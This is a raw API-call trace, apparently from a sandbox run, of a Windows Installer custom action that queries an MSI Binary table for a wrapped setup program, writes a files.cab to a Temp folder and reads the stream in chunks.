[0146.870] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.870] GetCurrentThread () returned 0xfffffffffffffffe [0146.870] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.870] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.871] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.871] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.871] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.872] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.872] GetCurrentThread () returned 0xfffffffffffffffe [0146.872] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.872] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.872] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.872] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.872] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.873] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.873] GetCurrentThread () returned 0xfffffffffffffffe [0146.873] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.873] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.873] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.874] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.874] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.874] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.875] GetCurrentThread () returned 0xfffffffffffffffe [0146.875] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.875] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.875] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.875] lstrlenW (lpString="-- CUSTOM ACTION -- Open view") returned 29 [0146.875] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.875] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.876] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.876] GetCurrentThread () returned 0xfffffffffffffffe [0146.876] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.876] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.876] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.876] memcpy (in: _Dst=0x3728b0, _Src=0x380260, _Size=0x3a | out: _Dst=0x3728b0) returned 0x3728b0 [0146.876] memcpy (in: _Dst=0x380320, _Src=0x3728b0, _Size=0x3a | out: _Dst=0x380320) returned 0x380320 [0146.877] SetEvent (hEvent=0x170) returned 1 [0146.877] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.879] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.879] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.880] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.880] GetCurrentThread () returned 0xfffffffffffffffe [0146.880] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.880] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.880] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.881] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.881] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.882] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.882] GetCurrentThread () returned 0xfffffffffffffffe [0146.882] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.882] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.882] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.883] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.883] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.883] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.883] GetCurrentThread () returned 0xfffffffffffffffe [0146.883] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.884] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.884] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.884] lstrlenW (lpString="-- CUSTOM ACTION -- Query: SELECT `Data` FROM `Binary` WHERE `Name` = 'bz.WrappedSetupProgram'") returned 94 [0146.884] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.884] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.884] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.884] GetCurrentThread () returned 0xfffffffffffffffe [0146.884] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.885] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.885] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.885] memcpy (in: _Dst=0x3728b0, _Src=0x2bec4a0, _Size=0xbc | out: _Dst=0x3728b0) returned 0x3728b0 [0146.885] memcpy (in: _Dst=0x2bec9e0, _Src=0x3728b0, _Size=0xbc | out: _Dst=0x2bec9e0) returned 0x2bec9e0 [0146.885] SetEvent (hEvent=0x170) returned 1 [0146.885] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.887] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.887] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.888] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.888] GetCurrentThread () returned 0xfffffffffffffffe [0146.888] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.888] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.888] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.889] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.889] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.890] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.890] GetCurrentThread () returned 0xfffffffffffffffe [0146.890] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.890] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.890] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.891] GlobalLock (hMem=0xf40228) returned 0x3cc0f0 [0146.891] lstrlenW (lpString="SELECT `Data` FROM `Binary` WHERE `Name` = 'bz.WrappedSetupProgram'") returned 67 [0146.891] lstrlenW (lpString="SELECT `Data` FROM `Binary` WHERE `Name` = 'bz.WrappedSetupProgram'") returned 67 [0146.891] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0146.892] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0146.892] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0146.892] lstrlenW (lpString="Binary") returned 6 [0146.894] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䌋䄱䜵", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0xbde450, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0146.895] IStream:Stat (in: This=0x32f240, pstatstg=0xbde3b0, grfStatFlag=0x1 | out: pstatstg=0xbde3b0) returned 0x0 [0146.895] GlobalLock (hMem=0xf40208) returned 0x3c2880 [0146.895] ISequentialStream:RemoteRead (in: This=0x32f240, pv=0x5c3085c, cb=0x400, pcbRead=0x5c30c5c | out: pv=0x5c3085c*=0xa8, pcbRead=0x5c30c5c*=0x8) returned 0x0 [0146.895] memcpy (in: _Dst=0x3c2884, _Src=0x5c3085c, _Size=0x2 | out: _Dst=0x3c2884) returned 0x3c2884 [0146.895] memcpy (in: _Dst=0x3c2890, _Src=0x5c3085e, _Size=0x2 | out: _Dst=0x3c2890) returned 0x3c2890 [0146.895] memcpy (in: _Dst=0xbde528, _Src=0x5c30860, _Size=0x2 | out: _Dst=0xbde528) returned 0xbde528 [0146.895] memcpy (in: _Dst=0xbde528, _Src=0x5c30862, _Size=0x2 | out: _Dst=0xbde528) returned 0xbde528 [0146.895] IUnknown:Release (This=0x32f240) returned 0x0 [0146.896] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0146.896] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0146.896] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0146.896] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0146.896] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0146.897] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0146.897] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0146.897] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0146.897] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0146.897] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0146.897] lstrlenW (lpString="Name") returned 4 [0146.898] lstrlenW (lpString="=") returned 1 [0146.898] lstrlenW (lpString="bz.WrappedSetupProgram") returned 22 [0146.899] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0146.899] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0146.899] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0146.899] lstrlenW (lpString="Data") returned 4 [0146.899] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0146.899] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0146.899] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0146.899] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0146.899] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0146.900] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.900] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.902] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.902] GetCurrentThread () returned 0xfffffffffffffffe [0146.902] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.902] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.902] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.902] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.902] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.903] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.903] GetCurrentThread () returned 0xfffffffffffffffe [0146.903] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.903] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.903] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.903] lstrlenW (lpString="-- CUSTOM ACTION -- Execute view") returned 32 [0146.903] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.904] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.904] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.904] GetCurrentThread () returned 0xfffffffffffffffe [0146.904] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.904] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.904] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.904] memcpy (in: _Dst=0x5c30850, _Src=0x380320, _Size=0x40 | out: _Dst=0x5c30850) returned 0x5c30850 [0146.905] memcpy (in: _Dst=0x380260, _Src=0x5c30850, _Size=0x40 | out: _Dst=0x380260) returned 0x380260 [0146.905] SetEvent (hEvent=0x170) returned 1 [0146.906] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.907] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.907] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.908] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.908] GetCurrentThread () returned 0xfffffffffffffffe [0146.908] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.909] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.909] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.909] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.909] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.910] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.910] GetCurrentThread () returned 0xfffffffffffffffe [0146.910] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.910] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.910] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.910] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.911] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.911] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.911] GetCurrentThread () returned 0xfffffffffffffffe [0146.911] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.911] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.911] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.912] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.912] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.915] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.915] GetCurrentThread () returned 0xfffffffffffffffe [0146.915] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.915] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.915] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.915] lstrlenW (lpString="-- CUSTOM ACTION -- Get record") returned 30 [0146.915] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.915] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.916] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.916] GetCurrentThread () returned 0xfffffffffffffffe [0146.916] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.916] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.916] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.916] memcpy (in: _Dst=0x5c30850, _Src=0x380320, _Size=0x3c | out: _Dst=0x5c30850) returned 0x5c30850 [0146.916] memcpy (in: _Dst=0x3803e0, _Src=0x5c30850, _Size=0x3c | out: _Dst=0x3803e0) returned 0x3803e0 [0146.917] SetEvent (hEvent=0x170) returned 1 [0146.917] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.919] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.919] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.920] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.920] GetCurrentThread () returned 0xfffffffffffffffe [0146.920] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.920] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.920] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.920] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.921] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.921] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.921] GetCurrentThread () returned 0xfffffffffffffffe [0146.921] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.921] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.921] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.922] memcpy (in: _Dst=0x3c2460, _Src=0x338c20, _Size=0xc | out: _Dst=0x3c2460) returned 0x3c2460 [0146.922] memcpy (in: _Dst=0x3c246c, _Src=0x3c2430, _Size=0x4 | out: _Dst=0x3c246c) returned 0x3c246c [0146.922] memcpy (in: _Dst=0x380320, _Src=0x3c2460, _Size=0xe | out: _Dst=0x380320) returned 0x380320 [0146.922] memcpy (in: _Dst=0x38032e, _Src=0x2faae0, _Size=0x2e | out: _Dst=0x38032e) returned 0x38032e [0146.922] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䌋䄱䜵䅾䞽䕠䓤䈳㼧䗨䓸䕙䊲䄵䠰", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0xbde5e0, ppstm=0x380310 | out: ppstm=0x380310*=0x7fef7acfc30) returned 0x0 [0146.923] IStream:Stat (in: This=0x32e790, pstatstg=0xbde540, grfStatFlag=0x1 | out: pstatstg=0xbde540) returned 0x0 [0146.924] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.924] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.924] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.924] GetCurrentThread () returned 0xfffffffffffffffe [0146.925] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.925] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.925] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.925] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.925] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.926] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.926] GetCurrentThread () returned 0xfffffffffffffffe [0146.926] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.926] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.926] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.926] lstrlenW (lpString="-- CUSTOM ACTION -- Create file: C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files.cab") returned 119 [0146.926] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.926] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.927] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.927] GetCurrentThread () returned 0xfffffffffffffffe [0146.927] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.927] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.927] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.927] memcpy (in: _Dst=0x2124120, _Src=0x21c4380, _Size=0xee | out: _Dst=0x2124120) returned 0x2124120 [0146.928] memcpy (in: _Dst=0x21c47c0, _Src=0x2124120, _Size=0xee | out: _Dst=0x21c47c0) returned 0x21c47c0 [0146.928] SetEvent (hEvent=0x170) returned 1 [0146.928] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.930] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.930] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.931] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.931] GetCurrentThread () returned 0xfffffffffffffffe [0146.931] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.931] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.931] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.932] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.932] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.934] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.934] GetCurrentThread () returned 0xfffffffffffffffe [0146.934] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde880 | out: TokenHandle=0xbde880*=0x0) returned 0 [0146.934] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.934] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.935] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.935] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.935] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.935] GetCurrentThread () returned 0xfffffffffffffffe [0146.935] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde888 | out: TokenHandle=0xbde888*=0x0) returned 0 [0146.936] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde858 | out: Pid=0xbde858) returned 0x0 [0146.936] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.936] lstrlenW (lpString="-- CUSTOM ACTION -- Read stream") returned 31 [0146.936] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.936] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.937] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.937] GetCurrentThread () returned 0xfffffffffffffffe [0146.937] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde870 | out: TokenHandle=0xbde870*=0x0) returned 0 [0146.937] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0146.937] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.937] memcpy (in: _Dst=0x2124120, _Src=0x3803e0, _Size=0x3e | out: _Dst=0x2124120) returned 0x2124120 [0146.937] memcpy (in: _Dst=0x380320, _Src=0x2124120, _Size=0x3e | out: _Dst=0x380320) returned 0x380320 [0146.938] SetEvent (hEvent=0x170) returned 1 [0146.938] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0146.940] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.940] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.946] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.946] GetCurrentThread () returned 0xfffffffffffffffe [0146.946] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde898 | out: TokenHandle=0xbde898*=0x0) returned 0 [0146.946] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde868 | out: Pid=0xbde868) returned 0x0 [0146.946] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0146.947] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0146.947] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.174] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.174] GetCurrentThread () returned 0xfffffffffffffffe [0147.174] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.174] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.174] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.174] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x4d, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.174] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.174] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.180] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.180] GetCurrentThread () returned 0xfffffffffffffffe [0147.180] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.180] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.180] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.180] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x39, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.180] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.180] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.181] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.181] GetCurrentThread () returned 0xfffffffffffffffe [0147.181] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.181] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.181] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.181] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xcb, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.182] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.182] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.182] 